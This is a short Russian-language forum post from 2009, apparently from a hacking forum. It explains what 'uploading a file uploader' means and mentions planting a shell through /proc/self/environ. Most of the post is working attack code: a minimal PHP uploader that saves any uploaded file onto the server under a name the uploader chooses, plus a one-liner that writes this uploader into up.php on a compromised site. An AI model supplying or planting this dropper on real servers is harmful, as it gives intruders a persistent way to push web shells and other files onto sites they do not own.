20.12.2009, 13:06
|
|
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
С нами:
9679872
Репутация:
347
|
|
Сообщение от Root-access
Что значит залитие аплоадера файлов?
Через /proc/self/environ можно залить шелл. Читай, например, здесь. Мне кажется Матня имел ввиду просто аплоадер файлов
Код:
<form enctype=multipart/form-data method=post>
<input name=x type=file><input type=submit></form>
<?php isset($_FILES[x])?(is_uploaded_file($_FILES[x][tmp_name])?(@copy($_FILES[x][tmp_name],$_FILES[x][name])):0):0; ?>
Ну а код, который этот аплоадер создает:
Код:
<?php $f = fopen('up.php','w');fwrite($f,'<form enctype=multipart/form-data method=post><input name=x type=file><input type=submit></form><?php isset($_FILES[x])?(is_uploaded_file($_FILES[x][tmp_name])?(@copy($_FILES[x][tmp_name],$_FILES[x][name])):0):0; ?>');fclose($f); ?>
|
|
|